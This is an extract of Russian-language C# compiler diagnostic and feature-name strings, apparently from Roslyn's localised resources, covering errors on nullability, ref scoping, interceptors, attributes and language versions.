+ Модуль "{0}" в сборке "{1}" перенаправляет тип "{2}" в несколько сборок: "{3}" и "{4}". + После предупреждения #pragma ожидается "disable" или "restore" + Значение SecurityAction "{0}" недопустимо для атрибутов безопасности, применяемых к типу или методу. + "{0}" является {1}, но используется как {2}. + Элемент записи "{0}" должен возвращать "{1}". + Перед директивами препроцессору могут находиться только пробельные знаки. + поле + множество + псевдоним using + цифровые разделители + Используется поле "{0}", которое может быть не назначено. Попробуйте обновить до языковой версии "{1}", чтобы автоматически применить значения по умолчанию к этому полю. + Недопустимо использовать ссылочный тип "{0}", допускающий значения NULL, в выражении "is-type". Используйте вместо него базовый тип "{0}". + Параметр "{0}" должен иметь значение, отличное от NULL, при выходе. + событие + Модификатор "{0}" недопустим для этого элемента. + пустые переменные + В файле ключа "{0}" отсутствует закрытый ключ, необходимый для подписи. + метка + Выражение __arglist может появляться только в вызове или в выражении new. + Алгоритм "{0}" не поддерживается + Метод должен иметь тип возвращаемого значения + параметр типа + Перечисления не могут содержать явные конструкторы без параметров + "{0}" имеет атрибут "UnmanagedCallersOnly" и не может вызываться напрямую. Получите указатель на функцию для этого метода. + Оба объявления разделяемого метода должны иметь одинаковые модификаторы доступа. + Недопустимое расположение атрибута для объявления + Сбой шифрования при создании хэшей. + Этот метод можно использовать только для создания токенов — {0} не является видом токена. + Элемент "{0}" не может использоваться в этом атрибуте. + "{0}" не может определять перегруженный {1}, который отличается только модификаторами параметров "{2}" и "{3}" + Указатель на функцию "{0}" не принимает следующее число аргументов: {1}. + Оператор подавления повторяющихся значений NULL ("!") + Допустимость значения NULL для ссылочных типов в типе не совпадает с переопределенным членом. + Имя "{0}" не существует в текущем контексте (возможно, отсутствует ссылка на сборку "{1}"?) + Ключевое слово "base" неприменимо в текущем контексте. + Невозможно использовать локальную переменную "{0}" перед ее объявлением. + асинхронный оператор using + Использование строки литерала "]]>" в содержимом элемента не допускается. + "{0}": не может реализовывать динамический интерфейс "{1}". + объявление переменных выражения в инициализаторах члена и запросах + Целевая среда выполнения не поддерживает поля ссылок. + Не удается перехватить вызов ' {0} ' с ' {1} ' из-за разницы в модификаторах 'scoped' или атрибутах '[UnscopedRef]'. + Несогласованные ограничения допустимости значения NULL для параметра типа "{1}" в частичных объявлениях метода "{0}". + Недопустимый параметр для указанного неуправляемого типа. + Параметр /REFERENCEPATH + Дерево выражений не может содержать ссылку на локальную функцию + Поле имеет несколько различных константных значений. + {0} версии {1} + © Корпорация Майкрософт (Microsoft Corporation). Все права защищены. + Атрибут безопасности "{0}" не допускается для этого типа объявления. Атрибуты безопасности допустимы только в сборке, типе и объявлениях метода. + using static + Доступ к члену "{0}", добавленному в ходе текущего сеанса отладки, возможен только из его объявляющей сборки "{1}". + Нельзя использовать #load после первого токена в файле + Имя типа содержит только строчные символы ASCII. Такие имена могут резервироваться для языка. + Дерево выражений не может содержать объявление переменной аргумента out. + Недопустимый тип для параметра {0} в атрибуте cref комментария XML: '{1}' + Тип не может быть использован как параметр типа в универсальном типе или методе. Допустимость значения NULL для аргумента типа не соответствует ограничению "class". + Несогласованность по доступности: доступность типа ограничения "{1}" ниже доступности "{0}" + "{0}" не может быть одновременно абстрактным и запечатанным. + Недопустимый символ "{0}". + "{0}" недопустимый именованный аргумент атрибута. Аргументы именованного атрибута должны быть полями без описателей readonly, static и const или открытыми нестатическими свойствами с доступом на чтение и запись. + Нераспознанная директива #pragma + Не удается объявить переменную статического типа "{0}" + Вы добавили ссылку на сборку с помощью /link (для свойства "Внедрять типы взаимодействия" задано значение true). Это сообщает компилятору, что следует внедрять сведения о типе взаимодействия из этой сборки. Однако компилятор не может внедрять сведения о типе взаимодействия из этой сборки, так как сборка, на которую указывает ссылка, также ссылается на сборку, использующую /reference (для свойства "Внедрять типы взаимодействия" задано значение false). + +Чтобы внедрить сведения о типах взаимодействия в обе сборки, используйте /link для ссылок на каждую сборку (задайте для свойства "Внедрять типы взаимодействия" значение true). + +Чтобы удалить предупреждение, можно использовать /reference (задайте для свойства "Внедрять типы взаимодействия" значение false). В этом случае основная сборка взаимодействия предоставит сведения о типе взаимодействия. + Обнуляемость ссылочных типов в возвращаемом типе не соответствует перехватываемому методу ' {0} '. + метод доступа к свойству тела выражения + "{0}" определяет оператор "==" или оператор "!=", но не переопределяет Object.Equals(object o). + Неверное число аргументов типа + "{0}" не реализует шаблон "{1}". "{2}" имеет неправильную сигнатуру. + Асинхронный оператор foreach требует, чтобы возвращаемый тип "{0}" для "{1}" имел соответствующий открытый метод "MoveNextAsync" и открытое свойство "Current". + Объявление пространства имен не может содержать модификаторы или атрибуты. + "{0}": поле экземпляра с типами, помеченными StructLayout(LayoutKind.Explicit), должно иметь атрибут FieldOffset + Не удается создать экземпляр абстрактного типа или интерфейса "{0}" + Явная реализация интерфейса события должна использовать синтаксис метода доступа к событиям. + При оценке постоянного значения для "{0}" используется циклическое определение. + "{0}" недопустимое место атрибута для этого объявления. Для этого объявления допускаются следующие места атрибутов: "{1}". Все атрибуты этого блока будут проигнорированы. + Результат выражения stackalloc типа "{0}" в этом контексте может быть представлен за пределами содержащего его метода. + "{0}" является неоднозначным между "{1}" и "{2}". Используйте "@{0}" или явно добавьте суффикс Attribute. + Требуется ";". + Может произойти сбой динамически диспетчеризируемого вызова во время выполнения, так как одна или несколько применимых перегрузок являются условными методами + Пространство имен конфликтует с импортированным типом + Разделяемый метод не может иметь несколько реализующих объявлений. + Невозможно вернуть "{0}" как значение ref или out, так как это "{1}" + Дружественный доступ предоставлен "{0}", однако состояние подписи строгого имени выходной сборки не соответствует состоянию предоставляющей сборки. + создание объекта с типом целевого объекта + Конструктор, объявленный в типе со списком параметров, должен содержать инициализатор конструктора "this". + Ограничение не может быть динамическим типом "{0}". + Оператор "{0}" невозможно применить к операнду типа "{1}". + Параметр основного конструктора типа, доступного только для чтения, нельзя вернуть с помощью записываемой ссылки + "{0}": ссылка на временное поле не будет считаться временной. + Дерево выражения не может содержать динамическую операцию. + Неявно типизированная локальная переменная не может быть фиксированной. + Недопустимый импортированный тип "{0}". Он содержит циклическую зависимость базового типа. + Обнаружены повторные реализации шаблона запроса для исходного типа "{0}". Неоднозначный вызов "{1}". + Переключатель командной строки "{0}" еще не реализован и был пропущен. + Допустимость значения NULL для ссылочных типов в типе не совпадает с реализованным членом. + Метод, оператор или метод доступа "{0}" помечен как внешний и не имеет атрибутов. Для указания на внешнюю реализацию, возможно, следует добавить атрибут DllImport. + "{0}" не является допустимым именем параметра из "{1}". + Несогласованность по доступности: доступность типа параметра "{1}" ниже доступности индексатора "{0}" + Предопределенный тип "{0}" объявлен в нескольких сборках, на которые имеются ссылки: "{1}" и "{2}" + свойство, воплощающее выражение + RefKind.Out не является допустимым типом ссылки для типа возвращаемого значения. + альтернативные интерполированные буквальные строки + скрытие имен во вложенных функциях + Для полей static и const атрибут FieldOffset не разрешен. + Невозможно использовать локальную переменную ref "{0}" внутри анонимного метода, лямбда-выражения или выражения запроса + Не удается вернуть параметр по ссылке "{0}", так как он имеет область действия текущего метода + Оператор "{0}" для операнда типа "{1}" и "{2}" является неоднозначным. + Тип возвращаемого значения "{0}" несовместим с CLS. + ARM выражения переключателя не начинается с ключевого слова "case". + Класс CallerArgumentExpressionAttribute можно применять только к параметрам со значениями по умолчанию. + Предполагается, что ссылка на сборку совпадает с удостоверением + "{0}" не содержит определения для "{1}", и не удалось найти метод расширения "{1}", принимающий тип "{0}" в качестве первого аргумента (возможно, пропущена директива using для "{2}"). + Была указана отложенная подпись, для которой требуется открытый ключ, но открытый ключ не был указан + Выражение всегда будет вызывать System.NullReferenceException, поскольку значение "{0}" по умолчанию равно Null. + Индексаторы должны иметь хотя бы один параметр. + Использование "{0}" для проверки совместимости с "{1}" равнозначно проверке совместимости с "{2}" и проходит успешно для всех значений, кроме значений Null + Указанный вызов перехватывается несколько раз. + Требуется значение целочисленного типа. + Аргумент запрещено использовать в качестве выходных данных для параметра из-за различий в отношении допустимости значений NULL для ссылочных типов. + Эта возможность языка ("{0}") еще не реализована. + Дерево синтаксиса должно быть создано из отправки. + Полное имя слишком длинное для сведений об отладке + Модификатор "readonly" должен быть указан после "ref". + Значение для RuntimeMetadataVersion не обнаружено. Не обнаружена также сборка, содержащая System.Object, или значение для RuntimeMetadataVersion не определено параметрами. + Заметка к ссылочным типам, допускающим значение NULL, должна использоваться в коде только в контексте заметок "#nullable". Автоматически создаваемый исходный код требует директиву "#nullable" в явном виде. + Интерфейс, помеченный как CoClassAttribute, не помечен как ComImportAttribute + массив лямбда-параметров + Выделенный экземпляр освобождается не во всех путях исключений + 'Требуется "in" + Ошибка в связанной сборке "{0}". + Допустимость значений NULL для типа параметра не соответствует переопределенному элементу (возможно, из-за атрибутов допустимости значений NULL). + Имя элемента кортежа "{0}" не допускается ни в одной позиции. + Индексирование массива с отрицательным индексом (индексы массива всегда начинаются с нуля) + Атрибут CLSCompliant не применяется к возвращаемым типам. Попробуйте разместить его в методе. + "{0}", определенный для метода Main, должен быть неуниверсальным классом, записью, структурой или интерфейсом. + Эта комбинация аргументов может представить переменные, на которые ссылается параметр, за пределами области их объявления. + Наиболее подходящий перегруженный метод Add "{0}" для элемента инициализатора набора устарел. {1} + Проверка совместимости с CLS не будет выполнена, так как она не видима за пределами этой сборки + Несовместимые ограничения для параметров типа "{1}" в разделяемых объявлениях "{0}". + Не удалось найти "{0}", определенного для метода Main. + Использование поля класса с маршалингом по ссылке в виде значения ref или out или получение его адреса может вызвать исключение времени выполнения + и шаблон + Отсутствует аргумент, соответствующий требуемому параметру "{0}" из "{1}". + Имя "{0}" не соответствует указанному параметру "Deconstruct" "{1}". + Указанный тип исходного кода не поддерживается или недопустим: "{0}" + Это возвращает по ссылке элемент параметра, относящийся к текущему методу + Не удалось указать значение по умолчанию для массива параметров. + Назначение выполнено для той же переменной + Недопустимое имя символа предварительной обработки. "{0}" не является допустимым идентификатором. + "{0}" не в состоянии реализовать ни "{1}", ни "{2}", так как они могут быть идентичными для некоторых подстановок параметров типа. + Тип "{0}", отправленный в сборку "{1}", конфликтует с типом "{2}", экспортированным из модуля "{3}". + Для использования в качестве параметра "{1}" в универсальном типе или методе "{0}" тип "{2}" должен быть типом значения, не допускающим значения Null. + Статические типы не могут использоваться в качестве возвращаемых типов + Метод содержит неправильную подпись и не может быть точкой входа + Повторяющийся модификатор "{0}" + контравариантно + Шаблоны списка не могут использоваться для значений типа "{0}". + Невозможно преобразовать {0} в тип "{1}", поскольку возвращаемый тип не совпадает с возвращаемым типом делегата + После спецификатора verbatim (@) требуется ключевое слово, идентификатор или строка. + Модификатор "{0}" недопустим для этого элемента в C# {1}. Используйте версию языка "{2}" или более позднюю. + В явной реализации интерфейса "{0}" отсутствует метод доступа "{1}". + '{2}" должен быть неабстрактным типом и иметь открытый конструктор без параметров, чтобы использовать его в качестве параметра "{1}" в универсальном типе или методе "{0}". + "{0}": вмещающий тип не реализует интерфейс "{1}". + "{0}": ссылочные структуры не могут реализовывать интерфейсы + Метод '{0}' должен быть неуниверсалом или иметь арность {1} для соответствия '{2}'. + Не удалось найти реализацию шаблона запроса для исходного типа "{0}". "{1}" не найден. Возможно, не хватает обязательных ссылок на сборку или используется директива для "System.Linq". + Определяемые пользователем операторы не могут возвращать значения типа void. + Допустимость значения NULL для ссылочных типов в типе параметра не совпадает с явно реализованным членом. + двоичные литералы + Невозможно создать массив с отрицательным размером. + аннулирование на основе шаблона + статические классы + ограничения для методов переопределения и явной реализации интерфейса + Внутри анонимного метода или лямбда-выражения нельзя использовать оператор yield. + Не удается внедрить тип "{0}", так как он имеет универсальный аргумент. Попробуйте задать свойству "Внедрить типы взаимодействия" значение False. + Файл с исходным текстом программы превысил установленный в PDB-файле предел в 16 707 565 строк; отладочная информация будет неправильной + ссылочные структуры + оператор index + "{0}" не реализует член интерфейса "{1}". "{2}" не открытый. + Атрибут InterpolatedStringHandlerArgument не действует при применении к лямбда-параметрам и будет проигнорирован на сайте вызова. + "{1}" не определяет параметр типа "{0}" + Не используйте "_" для константы case. + Тип получателя "{0}" не является допустимым типом записи и не является типом структуры. + Оператор typeof не может использоваться для динамического типа. + Операндом оператора инкремента или декремента должна быть переменная, свойство или индексатор. + Параметр /embed поддерживается только при создании PDB-файла. + Заданное выражение невозможно использовать в операторе fixed + "{0}" не может одновременно внешним и абстрактным. + Требуется объект с типом, приводимым к "{0}". + Не удается создать экземпляр статического класса "{0}". + Использование поля "{0}", которому, возможно, не присвоено значение. + Блок выражения switch case является недоступным. Он уже был обработан в предыдущем блоке или условие для него не может быть выполнено. + "{0}" скрывает наследуемый член "{1}". Если скрытие было намеренным, используйте ключевое слово new. + Недопустимый символ Юникода. + Лямбда-выражения, возвращающие данные по ссылке, невозможно преобразовать в деревья выражений + Невозможно определить класс или элемент, использующий кортежи, так как не удалось найти необходимый тип компилятора ({0}). Отсутствует ссылка? + Ошибка при подписи выхода открытым ключом из файла "{0}" — {1}. + "{0}": невозможно одновременно задать класс ограничения и ограничения "class" или "struct". + Анонимные методы, лямбда-выражения, выражения запроса и локальные функции внутри структуры не могут получить доступ к параметру основного конструктора, также используемому внутри элемента экземпляра + Обнуляемость ссылочных типов в типе параметра не соответствует перехватываемому методу. + Директива "using static" может применяться только к типам; "{0}" является пространством имен, а не типом. Используйте директиву "using namespace" + Не удается использовать лямбда-выражение в качестве аргумента для динамически диспетчеризируемой операции без предварительного преобразования его в делегат или тип дерева выражения. + Возвращаемые по значению данные можно использовать только в методах, которые возвращают данные по значению + Результат выражения stackalloc типа "{0}" нельзя использовать в этом контексте, так как он может быть доступен вне содержащего метода. + универсальные атрибуты + Выражение фильтра является константой "true", попробуйте удалить фильтр. + В качестве аргумента для атрибута TypeForwardedTo указан недопустимый тип. + Не удается создать делегат с "{0}", так как он или метод, который он переопределяет, имеет атрибут Conditional. + Использование литерала по умолчанию недопустимо в этом контексте. + Непредвиденное ключевое слово "unchecked" + Неправильный формат списка обязательных элементов для "{0}", его не удается интерпретировать. + Не удается неявно преобразовать тип "{0}" в "{1}". Существует явное преобразование (возможно, пропущено приведение типов). + Экземпляр анализатора {0} невозможно создать из {1} : {2}" + Директива Using уже использовалась в этом пространстве имен + Комментарий XML содержит атрибут cref, который не удалось разрешить + Невозможно явным образом добавить ссылку на "System.Runtime.CompilerServices.TupleElementNamesAttribute". Используйте синтаксис кортежа для определения имен кортежа. + Недопустимое число + Делегат "{0}" не принимает аргументы {1}. + "{0}" скрывает наследуемый абстрактный член "{1}". + Повторяющийся параметр типа "{0}" + Рекомендуемый перегружаемый метод Add для элемента инициализатора коллекции устарел + сопоставление шаблонов ReadOnly/Span<char> в строке константы + Для "{0}" даны разные контрольные суммы. + "{0}": событие должно иметь тип делегата. + Атрибут EnumeratorCancellationAttribute, применяемый к параметру "{0}", не будет оказывать никакого влияния. Этот атрибут действует только для параметра типа CancellationToken в методе асинхронного итератора, возвращающем IAsyncEnumerable. + Требуется выражение после оператора yield return. + Параметр /sourcelink поддерживается только при создании данных формата PDB. + Допустимость значения NULL для ссылочных типов в значении не соответствует целевому типу. + Допустимость значения NULL для ссылочных типов в типе параметра не совпадает с реализованным членом. + Первым аргументом атрибута безопасности должен быть допустимый SecurityAction. + "{0}": внешнее событие не может иметь инициализатор + Не используйте "System.Runtime.CompilerServices.ScopedRefAttribute". Вместо этого используйте ключевое слово "scoped". + Контекстное ключевое слово "var" не может быть использовано в объявлении переменной диапазона. + Недопустимый внешний псевдоним для /reference; "{0}" является недопустимым идентификатором. + Член скрывает унаследованный член: отсутствует ключевое слово переопределения + Атрибут FieldOffset может назначаться только членам типов, для которых используется StructLayout(LayoutKind.Explicit). + Комментарий XML содержит повторяющийся тег параметра + безопасность вариантности для статических элементов интерфейса + тип + "{0}": нельзя использовать статические типы в качестве аргументов типов. + Выражение Throw в данном контексте запрещено. + Выражение switch не обрабатывает некоторые типы входных значений, в том числе неименованное значение перечисления (не является исчерпывающим). + Применение атрибута CallerLineNumberAttribute к параметру "{0}" ни к чему не приводит, поскольку атрибут применяется к члену, который используется в контекстах, запрещающих необязательные аргументы. + Требуется перегружаемый бинарный оператор. + Нет подходящего типа для неявно типизированного массива. + В этом месте пробел не допускается. + За XML-комментарием не следует допустимый элемент языка + stackalloc не может использоваться вместе с отрицательным размером. + Ошибка в синтаксисе командной строки: Отсутствует "{0}" для параметра "{1}". + Указатели и буферы фиксированного размера можно использовать только в небезопасном контексте. + Перегруженный метод, отличающийся только типами неименованных массивов, несовместим с CLS + Параметру out должно быть присвоено значение до передачи управления из метода + Ошибка при сборке ресурсов Win32 — {0} + В деревьях выражений не могут использоваться разделяемые методы, имеющие только определяющее объявление или только удаленные условные методы. + Имя элемента кортежа "{0}" является выведенным. Для обращения к элементу по выведенному имени используйте версию языка {1} или более позднюю. + Возможно, непреднамеренное сравнение ссылок; для получения сравнения значений приведите правую часть к типу "{0}". + Комментарий XML содержит повторяющийся тег параметра типа + Использование локальной переменной "{0}", которой не присвоено значение. + У типов и псевдонимов не может быть имя "file". + Класс CallerArgumentExpressionAttribute не подействует, он переопределен классом CallerLineNumberAttribute. + Сборка "{0}" с удостоверением "{1}" использует "{2}" с более высокой версией, чем у сборки "{3}" с удостоверением "{4}", на которую делается ссылка. + Это возвращает параметр по ссылке "{0}" с помощью параметра ref; однако его можно безопасно вернуть только в операторе return + Неуниверсальный {1} "{0}" нельзя использовать с аргументами типа. + инициализаторы полей структуры + Имя сборки "{0}" зарезервировано и не может использоваться как ссылка в интерактивном сеансе. + Нельзя использовать "ref", "in" или "out" в сигнатуре метода с атрибутом "UnmanagedCallersOnly". + Тип определяет оператор == или оператор !=, но не переопределяет Object.Equals(object o) + Невозможно использовать параметр "{0}" типа ref-like внутри анонимного метода, лямбда-выражения, выражения запроса или локальной функции + "{0}": тип должен быть "{2}", чтобы соответствовать переопределенному члену "{1}". + Побитовый оператор "ИЛИ" применен к операнду, расширенному знаком; рекомендуется предварительное приведение к меньшему беззнаковому типу + Выражение фильтра является константой "false" + Невозможно использовать буферы фиксированного размера в нефиксированных выражениях. Попробуйте использовать оператор fixed. + Невозможно получить адрес указанного выражения. + Дерево выражения не может содержать "{0}". + Не удалось указать значение параметра по умолчанию вместе с DefaultParameterAttribute или OptionalAttribute. + Тип "{2}" не может быть использован как параметр типа "{1}" в универсальном типе или методе "{0}". Допустимость значения NULL для аргумента типа "{2}" не соответствует ограничению "class". + Для типа "{0}" не найден подходящий экземпляр деконструкции или метод расширения с типом возвращаемого значения void и следующим числом параметров out: {1}. + "{0}" явно реализуется больше одного раза. + Метод расширения должен быть определен в неуниверсальном статическом классе. + Attribute parameter 'SizeConst' must be specified. + "{0}" является типом "{1}". Константное поле ссылочного типа, отличного от string, может инициализироваться только значением Null. + "{0}" не является допустимым соглашением о вызовах для указателя на функцию. + Допустимость значения NULL для ссылочных типов в возвращаемом типе не совпадает с реализованным членом "{0}". + Ограничение "new()" невозможно использовать вместе с ограничением "struct". + Недопустимо использовать __arglist в списке параметров асинхронного метода. + Невозможно перехватить: компиляция не содержит файла с путем ' {0} '. + Не удается использовать оператор "{0}" в этом месте из-за приоритета. Для устранения неоднозначности используйте круглые скобки. + Параметр должен иметь значение, отличное от NULL, при выходе. + Не используйте "System.Runtime.CompilerServices.ExtensionAttribute". Используйте вместо этого ключевое слово "this". + обязательные элементы + Требуется функция доступа add или remove. + Невозможно передать управление из тела анонимного метода или лямбда-выражения. + Устаревший член переопределяет неустаревший член + Передача "{0}" недопустима, если "{1}" является "SignatureCallingConvention.Unmanaged". + Все другие ограничения должны следовать после ограничения типа класса "{0}". + Использование автоматически реализованного свойства "{0}", которому, возможно, не присвоено значение + Сборка анализатора "{0}" ссылается на версию "{1}" компилятора, являющуюся более новой, чем версия "{2}". + "{0}" должен соответствовать возвращаемому по ссылке типу переопределенного члена "{1}" + Атрибут CallerFilePathAttribute не будет работать: он переопределяется атрибутом CallerLineNumberAttribute + Группы метода выражения недопустимо использовать в качестве аргумента для nameof. + Невозможно инициализировать ссылкой переменную по значению + Текст метода асинхронного итератора должен содержать оператор "yield". Попробуйте удалить "async" из объявления метода или добавить оператор "yield". + "{0}" не содержит определения "{1}", и не удалось найти доступный метод расширения "{1}", принимающий тип "{0}" в качестве первого аргумента (возможно, пропущена директива using или ссылка на сборку). + {1} "{0}" нельзя использовать с аргументами типа + Выражение нельзя использовать в этом контексте, так как из-за этого переменные могут стать косвенно доступными за пределами их области объявления. + Параметр преобразования обработчика интерполированных строк находится позже параметра обработчика + Разделяемый метод не может иметь несколько определяющих объявлений. + Применение класса CallerArgumentExpressionAttribute к параметру "{0}" не подействует, поскольку он применен с недопустимым именем параметра. + Ссылка сборки "{0}" является недопустимой и не может быть разрешена. + Это присваивает по ссылке значение с более узкой областью выхода, чем у целевого объекта. + Статические классы не могут иметь конструкторы экземпляров. + 'Для применения оператора "await" у типа {0} должен быть подходящий метод GetAwaiter. + Элемент результата "{0}" нельзя использовать в этом контексте, так как из-за этого переменные, на которые ссылается параметр "{1}", могут стать доступными за пределами их области объявления. + Неявно типизованный параметр "{0}" не может иметь значение по умолчанию. + Тип "{1}" уже резервирует член "{0}" с такими же типами параметров. + Автоматически реализуемое свойство "{0}" не может быть помечено как readonly, так как имеет метод доступа set. + Тип аргумента несовместим с CLS + Нераспознанная escape-последовательность + Параметр не имеет соответствующий тег параметра в комментарии XML (в отличие от остальных параметров) + Выражение switch не обрабатывает некоторые входные данные NULL. + Наследуемый интерфейс "{1}" образует циклическую ссылку в иерархии интерфейсов для "{0}". + Не удалось найти тип или имя пространства имен "{0}" в глобальном пространстве имен (возможно, отсутствует ссылка на сборку?) + Невозможно перехватить "{0}", так как это не вызов обычного метода элемента. + Невозможное ожидание в выражении фильтра предложения catch. + Назначение типов массивов разрешено только через выражения инициализации массивов. Используйте выражение с оператором new. + Преобразование литерала, допускающего значение NULL или возможного значения NULL в тип, не допускающий значение NULL. + Неявно типизированные переменные должны быть инициализированы + Объявление параметра-типа должно быть идентификатором, а не типом. + основные конструкторы + Автоматически реализуемое свойство "{0}" должно быть полностью назначено перед возвратом контроля вызывающему элементу. Попробуйте обновить до языковой версии "{1}", чтобы автоматически применить значение по умолчанию к этому свойству. + "{0}": новый защищенный член объявлен в структуре. + "{0}": статические классы не могут содержать защищенные члены. + Объект "this" прочитывается до назначения всех его полей, что приводит к неявному назначению "default" полям, которые не назначены явным образом. + "{0}": нельзя объявлять члены экземпляра в статическом классе. + Контроль возвращается вызывающему элементу до явного назначения автоматически реализуемого свойства, что приводит к предшествующему неявному назначению "default" + Исполняемые файлы не могут быть вспомогательными сборками; язык и региональные параметры должны быть пустыми. + В методе отсутствует аннотация "[DoesNotReturn]" для сопоставления реализованного или переопределенного члена. + Использование ключевого слова "base" в этом контексте не допускается. + Тип "{0}" определен в сборке, на которую нет ссылки. Следует добавить ссылку на сборку "{1}". + "{0}" добавляет метод доступа, не обнаруженный в члене интерфейса "{1}". + Нераспознанный параметр: "{0}" + Не допускается использование асинхронных методов в интерфейсе, классе или структуре с атрибутом "SecurityCritical" или "SecuritySafeCritical". + Невозможно применить CallerArgumentExpressionAttribute, поскольку нет стандартных преобразований из типа "{0}" в тип "{1}". + Первый операнд операторов "is" или "as" не может быть лямбда-выражением, анонимным методом или группой методов. + Возможно, для доступа к массиву отсутствует спецификатор именованного аргумента. + Не удается использовать группу методов в качестве аргумента для динамически диспетчеризируемой операции. Предполагалось вызывать этот метод? + оператор range + Доступное только для чтения поле можно использовать как значение ref или out только в конструкторе + Невозможно перехватить вызов в файле с путем ' {0} ', так как несколько файлов в компиляции имеют этот путь. + GetDeclarationName вызывается для узла объявления, который может содержать множество операторов объявления переменных. + Эта ошибка происходит, если перегруженный метод получает массив массивов, и единственное отличие между подписями методов — тип элементов массива. Чтобы избежать этой ошибки, рассмотрите возможность использования прямоугольного массива вместо массива массивов; используйте дополнительный параметр, чтобы разрешить неоднозначность вызова функции, переименуйте один или несколько перегруженных методов или, если совместимость с CLS не требуется, удалите атрибут CLSCompliantAttribute. + Выражение switch не обрабатывает все возможные значения входного типа (не является исчерпывающим). Например, шаблон "{0}" не охвачен. Однако шаблон с предложением "when" может соответствовать этому значению. + Имена элементов кортежа в сигнатуре метода "{0}" должны совпадать с именами элементов кортежа в методе интерфейса "{1}" (включая тип возвращаемого значения). + Объект "this" прочитывается до назначения всех его полей, что приводит к неявному назначению "default" полям, которые не назначены явным образом. + Это возвращает по ссылке элемент параметра "{0}", который имеет область действия текущего метода + Повторяющийся атрибут "{0}" в "{1}" + асинхронная функция + Недопустимый формат отладочной информации: {0} + Оператор goto не может переходить к расположению раньше объявления using в том же блоке. + Каждый из методов доступа "{0}" и "{1}" должен вызываться только во время инициализации либо ни один из этих методов доступа не должен вызываться таким образом. + Асинхронные методы не могут использовать параметры типа указателя + "else" не может запускать оператор. + Член переопределяет устаревший член + Не удается назначить {0} "{1}" или использовать это как правую часть назначения ref, поскольку это переменная только для чтения + Синтаксису "var" для шаблона запрещено ссылаться на тип, но "{0}" здесь входит в область. + Асинхронные методы не могут иметь локальных переменных по ссылке + Argument {0} should be passed with the 'in' keyword + ограничение универсального типа notnull + Инициализаторы могут иметь только автоматически реализованные свойства. + Параметр struct с инициализаторами полей должен включать явно объявленный конструктор. + Невозможно создать короткое имя файла "{0}", если уже существует длинное имя файла, содержащее это короткое имя. + Тип параметра оператора ++ или -- должен быть содержащим типом, или параметр его типа должен ограничиваться только этим параметром. + Локальный для файла тип "{0}" должен быть определен в типе верхнего уровня. "{0}" является вложенным типом. + Атрибут "{0}" запрещено использовать в методах доступа к событиям. Он допустим только для объявлений "{1}". + #warning: "{0}' + Статический элемент не может быть помечен как "{0}" + Запрещено указывать модификаторы readonly для свойства или индексатора "{0}" и его метода доступа. Удалите один из них. + Это поле прочитывается до явного назначения, что приводит к предшествующему неявному назначению "default". + Предоставленная строка и номер символа относятся не к имени перехватываемого метода, а скорее к токену ' {0} '. + Левая часть выражения назначения должна быть переменной, свойством или индексатором. + Целевая среда выполнения не поддерживает встроенные типы массивов. + Член "{0}", помеченный как override, не может быть помечен как new или virtual. + Оба объявления частичного метода, "{0}" и "{1}", должны использовать одинаковые имена элементов кортежа. + Допустимость значений NULL для ссылочных типов в типе параметра "{0}" объекта "{1}" не соответствует неявно реализованному элементу "{2}" (возможно, из-за атрибутов допустимости значений NULL). + Члены структуры не могут возвращать по ссылке члены экземпляра this или другого экземпляра + "{0}": не все пути к коду возвращают значение. + Результат "{0}" нельзя использовать в этом контексте, так как из-за этого переменные, на которые ссылается параметр "{1}", могут стать доступными за пределами их области объявления. + Выражение switch не обрабатывает все возможные типы входных значений (не является исчерпывающим). Например, шаблон "{0}" не охвачен. + Не удается переадресовать тип "{0}", так как он является вложенным типом "{1}". + Требуется однострочный комментарий или признак конца строки. + Ограничение не может быть динамическим типом. + До передачи управления из текущего метода параметру, помеченному ключевым словом out, "{0}" должно быть присвоено значение. + Недопустимое имя символа предварительной обработки; недопустимый идентификатор + Суффикс "l" легко спутать с цифрой "1" -- для ясности используйте "L" + "{0}" в явном объявлении интерфейса не является интерфейсом. + доступ к массиву + Получатель выражения "with" должен иметь тип, отличный от void. + "{0}": невозможно переопределение "{1}", так как такая операция в данном языке не поддерживается. + Не удается инициализировать '{0}' с выражением коллекции, так как тип не является конструкторируемым. + Значение свойства, задаваемого только при инициализации, или значение индексатора "{0}" может быть присвоено только в инициализаторе объекта, в свойствах "this" или "base" в конструкторе экземпляра или в методе доступа "init". + Невозможно преобразовать &группу методов "{0}" в тип делегата "{1}". + Модификатор параметра "{0}" не может использоваться с "{1}" + Имена элементов запрещены при сопоставлении шаблонов с помощью "System.Runtime.CompilerServices.ITuple". + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Не удается присвоить по ссылке "{1}" "{0}", потому что "{1}" имеет более широкую область выхода, чем "{0}", что позволяет присваивать через "{0}" значения с более узкими областями выхода, чем "{1}". + Невозможно внедрить тип "{0}", так как он переопределяет абстракцию элемента базового интерфейса. Попробуйте задать для свойства "Внедрить типы взаимодействия" значение false (ложь). + Невызываемый член "{0}" не может использоваться как метод. + Значения ref или out должно быть переменной, которой можно присвоить значение + Чтобы выполнить минимальную квалификацию типа, необходимо использовать SyntaxTreeSemanticModel. + Класс CallerArgumentExpressionAttribute не подействует, он переопределен классом CallerMemberNameAttribute + Не удалось инициализировать генератор. + Тип "{0}" определен в модуле, который еще не был добавлен. Необходимо добавить модуль "{1}". + Условное выражение не может использоваться напрямую в интерполяции строк, так как интерполяция заканчивается на ":". Заключите условное выражение в скобки. + Пространство имен "{1}" в "{0}" конфликтует с типом "{3}" в "{2}". + "{0}": статический конструктор не должен иметь параметров. + Выходной параметр не может иметь атрибут In. + Аргументы с модификатором "in" невозможно использовать в динамически диспетчеризируемых выражениях. + группа методов + Асинхронный итератор "{0}" имеет один или несколько параметров типа "CancellationToken", но ни один из них не снабжен атрибутом "EnumeratorCancellation", поэтому параметр токена отмены из созданного "IAsyncEnumerable<>.GetAsyncEnumerator" не будет использован. + Атрибут MemberNotNull + Поле никогда не назначается и всегда будет иметь значение по умолчанию + Метод "{0}" имеет параметр с модификатором "this", не являющийся первым параметром метода. + Не допускается использование знаков кавычек в кодировке, отличной от ASCII, до и после литералов строки. + Для ссылки "base" требуется базовый класс. + Непредвиденная директива препроцессору. + Распаковка-преобразование вероятного значения NULL. + Тип "{2}" не может быть использован как параметр типа "{1}" в универсальном типе или методе "{0}". Допустимость значения NULL для аргумента типа "{2}" не соответствует ограничению "notnull". + Проверка на соответствие CLS не будет выполнена для "{0}", поскольку он не видим за пределами данной сборки. + Директива using "{0}" ранее использовалась в качестве глобальной + "{0}": невозможно переопределить, так как "{1}" не является свойством. + Выражение типа "{0}" не может быть обработано шаблоном 